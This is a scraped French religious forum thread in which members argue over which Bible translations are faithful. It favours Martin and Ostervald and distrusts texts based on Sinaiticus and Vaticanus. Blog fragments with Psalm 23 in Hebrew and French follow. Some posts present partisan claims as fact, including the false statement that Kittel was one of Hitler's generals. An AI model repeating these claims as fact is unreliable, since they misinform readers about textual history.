    Par contre je comprend pas que les versions Chouraqui ainsi que la dernière en date "Nouveau testament : un livre Juif" mettent toutes ces phrases. Pourtant Chouraqui dans la lettre de Yohanan n'a pas mis l'histoire de la trinité, mais là il a mis ces phrases.

    Donc comme ça Révélation parle bien d'obéir aux mitsvots. Intéressant !

    Daniel Jackson
    Messages: 262
    Date d'inscription: 31/01/2008
    Age: 23
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Educis Hier à 22:09

    Bonjour à toutes et à tous.

    Comme je l'ai déjà dit sur un autre post, plus ça va et plus les notions de péché, de sang purificateur et le mot Seigneur ont tendance à disparaître des nouvelles versions.
    Les Chrétiens on tendance à penser que le Diable ne touche pas à la Bible mais c'est faux.

    Le problème c'est qu'il y à plusieurs textes grecs originaux !

    Les bonnes versions que cite Ruth sont basées sur le Texte Reçu (Textus Receptus), les autres sur le sinaïticus et vaticanus.
    L'un sorti des poubelles d'un monastère et l'autre des caves du Vatican...( étonnant non !)

    En résumé, restons très vigilants le Diable à plus d'une version bricolée à sa disposition.

    Fraternellement.


    Educis
    Messages: 128
    Date d'inscription: 04/04/2012
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Educis Hier à 22:14

    Daniel Jackson a écrit:Super, toda raba Routh !

    Par contre je comprend pas que les versions Chouraqui ainsi que la dernière en date "Nouveau testament : un livre Juif" mettent toutes ces phrases. Pourtant Chouraqui dans la lettre de Yohanan n'a pas mis l'histoire de la trinité, mais là il a mis ces phrases.

    Donc comme ça Révélation parle bien d'obéir aux mitsvots. Intéressant !


    Bonsoir Daniel Jackson.

    Je pense que Mr Chouraqui n'est qu'un érudit qui n'est ni Juif Orthodoxe ni Chrétien.
    Mr Chouraqui à même traduit le Coran !

    Fraternellement.


    Educis
    Messages: 128
    Date d'inscription: 04/04/2012
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Daniel Jackson Hier à 22:17

    Certes, mais on voit bien que dans sa traduction de la Bible il cherche constament à faire jaillir la pensée hébraïque ainsi que la dimension juive. Etre passé à côté de cela me fait me poser des questions...Idem pour "Nouveau Testament : un livre Juif", fait par des Juifs messianiques.

    Daniel Jackson
    Messages: 262
    Date d'inscription: 31/01/2008
    Age: 23
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Educis Hier à 22:29

    Daniel Jackson a écrit:Certes, mais on voit bien que dans sa traduction de la Bible il cherche constament à faire jaillir la pensée hébraïque ainsi que la dimension juive. Etre passé à côté de cela me fait me poser des questions...Idem pour "Nouveau Testament : un livre Juif", fait par des Juifs messianiques.


    C'est probablement aussi dû aux textes grecs choisis.
    Si le texte grec est sorti d'une poubelle, les traductions peuvent y retourner !

    Fraternellement.



    Educis
    Messages: 128
    Date d'inscription: 04/04/2012
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Ruth Administratrice Hier à 23:17

    Educis a écrit:Les bonnes versions que cite Ruth sont basées sur le Texte Reçu (Textus Receptus), les autres sur le sinaïticus et vaticanus.
    L'un sorti des poubelles d'un monastère et l'autre des caves du Vatican...( étonnant non !)


    Merci Educis d'apporter ces précisions :)
    J'avais en effet entendu parler de ces différents textes Grecs mais je ne faisais pas la différence... Maintenant c'est plus clair.

    _________________

    Apocalypse 14:12
    "C'est ici la persévérance des Saints, qui gardent Les Commandements de Dieu et La Foi de Yéshoua."

    Mon pseudo Ruth pour ceux qui veulent me nommer

    Ruth Administratrice
    Admin
    Messages: 7302
    Date d'inscription: 22/10/2007
    Age: 36
    Voir le profil de l'utilisateur http://www.youtube.com/user/diddl2007

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Morherdhyanra Hier à 23:23

    Shalom,
    je m'en doutait aussi, je prends des cours d'hebreux biblique, par rapport à sa, j'espère aussi apprendre le grec
    Je voulais savoir, sans intention de jugement, qu'en est-il de la traduction des temoins de Jéhovah?

    Morherdhyanra
    Messages: 1
    Date d'inscription: 27/09/2011
    Age: 29
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Adina Hier à 23:41

    Chouraqui a traduit le houmach à partir du texte massorétique et le livre des chrétiens à partir du texte grec édité en 1983 par Aland, Black et Martini.
    La bible des Témoins est meilleure que nombre d´ouvrages!
    Jean-Frédéric Osterwald était un pasteur suisse de l´église catholique réformée, du début du 17. siècle semble t-il.


    Dernière édition par Adina le Lun 27 Aoû - 12:51, édité 1 fois

    Adina
    Messages: 473
    Date d'inscription: 03/11/2011
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Ruth Administratrice Hier à 23:44


    Shalom Morherdhyanra :)

    j'ai trouvé la traduction du nouveau monde des témoins de JéHoVaH, là voici :

    Apocalypse 22:14
    Heureux ceux qui lavent leurs longues robes, pour que le droit [d’aller] aux arbres de vie soit leur et qu’ils puissent entrer dans la ville par ses portes.

    donc eux aussi ont une mauvaise traduction.

    1 Corinthiens 9:20-21
    Pour les Juifs donc, je suis devenu comme un Juif, afin de gagner des Juifs ; pour ceux qui sont sous [la] loi, je suis devenu comme [si j’étais] sous [la] loi, bien que moi-même je ne sois pas sous [la] loi, afin de gagner ceux qui sont sous [la] loi. Pour ceux qui sont sans loi, je suis devenu comme [si j’étais] sans loi, bien que je ne sois pas sans loi à l’égard de Dieu, mais sous [la] loi à l’égard de Christ, afin de gagner ceux qui sont sans loi.

    et ci-dessus ils ont rajouté la même phrase absente du texte Grec original. Sûrement pris du texte Grec du Vatican ou du monastère dont nous a parlé Educis.

    Vraiment, pour avoir bien comparé, Martin 1744 et Ostervald 1877 sont les plus fiables par rapport aux Textes Bibliques en sachant qu'il faut toujours vérifier s'il y a un doute dans le texte source Hébreu ou Grec.


    Dernière édition par Ruth Administratrice le Lun 27 Aoû - 4:37, édité 1 fois

    _________________

    Apocalypse 14:12
    "C'est ici la persévérance des Saints, qui gardent Les Commandements de Dieu et La Foi de Yéshoua."

    Mon pseudo Ruth pour ceux qui veulent me nommer

    Ruth Administratrice
    Admin
    Messages: 7302
    Date d'inscription: 22/10/2007
    Age: 36
    Voir le profil de l'utilisateur http://www.youtube.com/user/diddl2007

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Prosodie Aujourd'hui à 0:09

    Shalom,

    C'est vrai que les traductions ne sont pas toujours bonnes, il est bien aussi de les comparer quand on n'a pas assez de connaissances pour lire le texte hébreu ou grec.

    J'ai remarqué que la Bible de Jérusalem interprétait certains mots au lieu d'en rendre le sens littéral.

    Pour le texte grec c'est bien de regarder dans le Bailly (dictionnaire grec ancien - français)

    Le site www.enseignemoi.com permet de comparer plusieurs traductions.

    Par ailleurs la traduction Dhorme est plutôt bien, mais en Pléiade donc plus coûteuse.

    Prosodie
    Messages: 96
    Date d'inscription: 19/06/2012
    Age: 21
    Voir le profil de l'utilisateur http://www.ouvrir-la-bible.centerblog.net

    Revenir en haut Aller en bas

     
     

    juste pour préciser

    Message  Ruth Administratrice Aujourd'hui à 0:56


    Concernant la traduction Martin et Ostervald, elle a le mérite de ne pas rajouter et de rester au plus prés du texte original mais, je dirais qu'il y a parfois un mais...

    Je m'explique, bien souvent dans le texte source, les phrases ne sont pas formées pour être mises en Français et pour que la phrase soit plus Française, le traducteur va rajouter un verbe pour lier la phrase en question alors que ce verbe sera absent du texte.

    Par exemple littéralement dans le passage étudié ici, cela donne

    Et j'ai été (chez) les Juifs comme un Juif afin d'éviter la perte des Juifs.
    Sous La Loi comme sous La Loi afin d'éviter la perte (de ceux qui sont) sous La Loi. Sans la loi comme sans la loi, pas sans La Loi de Dieu mais obéissant à La Loi (de) Machia'h afin d'éviter la perte (de ceux qui sont) sans Loi.


    Comme vous pouvez le constater il est écrit Sous La Loi comme sous La Loi.

    Martin et Ostervald ont donc rajouté un verbe et un sujet pour mieux lier la phrase.

    traduction Martin 1744
    Et je me suis fait aux Juifs comme Juif, afin de gagner les Juifs ; à ceux qui sont sous la Loi, comme si j'étais sous la Loi, afin de gagner ceux qui sont sous la Loi ;
    A ceux qui sont sans Loi, comme si j'étais sans Loi (quoique je ne sois point sans Loi quant à Dieu, mais je suis sous la Loi de Christ,) afin de gagner ceux qui sont sans Loi.


    traduction Ostervald 1877
    J'ai été comme Juif avec les Juifs, afin de gagner les Juifs; avec ceux qui sont sous la loi, comme si j'eusse été sous la loi, afin de gagner ceux qui sont sous la loi;
    Avec ceux qui sont sans loi comme si j'eusse été sans loi (quoique je ne sois point sans loi, à l'égard de Dieu, puisque je suis sous la loi de Christ), afin de gagner ceux qui sont sans loi.


    Vous remarquez d'ailleurs qu'ils n'utilisent pas le même temps.

    Je pense qu'il est dommage ici d'avoir rajouté cela car en Français, cela peut laisser penser que l'Apôtre Paul fait semblant d'être sous La Torah en présence des Juifs alors que ce n'est pas vraiment ce qui est écrit dans le texte.

    C'est pourquoi je pense qu'il aurait été mieux de laisser ainsi comme dans le littéral
    Sous La Loi comme sous La Loi car c'est tout de même différent. C'est vrai pourquoi ne pas induire plutôt "Sous La Loi comme étant sous La Loi" au lieu de mettre comme si j'eusses été ou si j'étais... qui laisse présumer un faux semblant.

    Voilà ce que je tenais à rajouter.

    Mais je dis donc toujours pour revenir sur ce sujet que la traduction Ostervald et Martin 1744 restent les traductions en Français les plus fiables car elles ne se sont servis que texte Grec original et non du texte Grec Vaticanus et Sinaïticus où il y a des rajouts et des traductions biaisées dont ce sont servis plusieurs traductions.

    _________________

    Apocalypse 14:12
    "C'est ici la persévérance des Saints, qui gardent Les Commandements de Dieu et La Foi de Yéshoua."

    Mon pseudo Ruth pour ceux qui veulent me nommer

    Ruth Administratrice
    Admin
    Messages: 7302
    Date d'inscription: 22/10/2007
    Age: 36
    Voir le profil de l'utilisateur http://www.youtube.com/user/diddl2007

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Educis Aujourd'hui à 10:14

    Bonjour à tous et à toutes.

    Comme l'on dit : Traduttore, traditore (« Traduire, c’est trahir ») !

    Il y à le problème de la traduction car il est évident que les traducteurs ont tendance à laisser parfois leur pensées prendre le dessus par rapport au texte.

    Mais le problème des "originaux" n'est pas moins important (même pour l'Ancien Testament).
    Par exemple si mes sources sont exactes, une des versions de l'ancien Testament,a été donnée par un certain Kittel qui était ... un des généraux d'Hitler !

    http://textus-receptus.com/wiki/Gerhard_Kittel

    Certains ici seront probablement plus compétents que moi en ce qui concerne le Canon Biblique.
    Je doit dire que même si j'ai eu quelques infos intéressantes j'ai une très mauvaise mémoire.

    Je suppose que tout le monde connaît déjà la Bible Online sinon, voici le lien :
    http://123-bible.com/

    C'est très pratique et cela permet d'avoir plein de versions et de comparer.
    En plus, sur ce site c'est gratuit.
    J'espère que Ruth laissera le lien même si les ressources de ce site ne sont pas toutes 100% Biblique.
    On peut y trouver des trésors de la littérature Chrétienne

    Fraternellement.


    Educis
    Messages: 128
    Date d'inscription: 04/04/2012
    Voir le profil de l'utilisateur

    Revenir en haut Aller en bas

     

    Page 1 sur 212  Suivant

    Voir le sujet précédent Voir le sujet suivant Revenir en haut

     - Sujets similaires» traductions de profils
    » Bible en audio
    » La Bible Le Coran et La Science
    » IMPORTANT : Le Strassbuch <- Your Holy Bible
    » La Bible en ligne en plusieures langues et traductions
     

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    Partager via Gmail Yahoo! Google Bookmarks

    votre commentaire
  • EL PASTOR SOLITARIO - Gheorghe Zamfir - Einsamer Hirte - MUSICA CLASSICA

    EL PASTOR SOLITARIO

     

     

     

     

     

     

     

     

    EL PASTOR SOLITARIO

     

    Les Psaumes - Chapitre 23 - תְּהִלִּים

    א   מִזְמוֹר לְדָוִד:    יְהוָה רֹעִי, לֹא אֶחְסָר. 1 Psaume de David. L'Eternel est mon berger, je ne manquerai de rien.
    ב   בִּנְאוֹת דֶּשֶׁא, יַרְבִּיצֵנִי;    עַל-מֵי מְנֻחוֹת יְנַהֲלֵנִי. 2 Dans de vertes prairies, il me fait camper, il me conduit au bord d'eaux paisibles.
    ג   נַפְשִׁי יְשׁוֹבֵב;    יַנְחֵנִי בְמַעְגְּלֵי-צֶדֶק, לְמַעַן שְׁמוֹ. 3 Il restaure mon âme, me dirige dans les sentiers de la justice, en faveur de son nom.
    ד   גַּם כִּי-אֵלֵךְ בְּגֵיא צַלְמָוֶת, לֹא-אִירָא רָע--    כִּי-אַתָּה עִמָּדִי;
    שִׁבְטְךָ וּמִשְׁעַנְתֶּךָ,    הֵמָּה יְנַחֲמֻנִי.
    4 Dussé-je suivre la sombre vallée de la mort, je ne craindrais aucun mal, car tu serais avec moi; ton soutien et ton appui seraient ma consolation.
    ה   תַּעֲרֹךְ לְפָנַי, שֻׁלְחָן--    נֶגֶד צֹרְרָי;
    דִּשַּׁנְתָּ בַשֶּׁמֶן רֹאשִׁי,    כּוֹסִי רְוָיָה.
    5 Tu dresses la table devant moi, à la face de mes ennemis; tu parfumes d'huile ma tète, ma coupe est pleine à déborder.
    ו   אַךְ, טוֹב וָחֶסֶד יִרְדְּפוּנִי--    כָּל-יְמֵי חַיָּי;
    וְשַׁבְתִּי בְּבֵית-יְהוָה,    לְאֹרֶךְ יָמִים.
    6 Oui, le bonheur et la grâce m'accompagneront ma vie durant, et j'habiterai de longs jours dans la maison du Seigneur.
    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  • GHEORGHE ZAMFIR - Doina de jale

    Yvon Poulin a partagé la photo de Reda Azzi.
    C'A FAIT BEAUCOUP RÉFLÉCHIR,SUR LE COEUR,QUI EST REMPLI DE L'AMOUR AGAPE!!
    "On n'a pas deux coeurs, un pour les animaux et un pour les humains. "On a un coeur ou on n'en a pas" - Lamartine
    Photo : "On n'a pas deux coeurs, un pour les animaux et un pour les humains. On a un coeur ou on n'en a pas" - Lamartine
    Partager via Gmail Yahoo! Google Bookmarks

    votre commentaire


    Suivre le flux RSS des articles de cette rubrique
    Suivre le flux RSS des commentaires de cette rubrique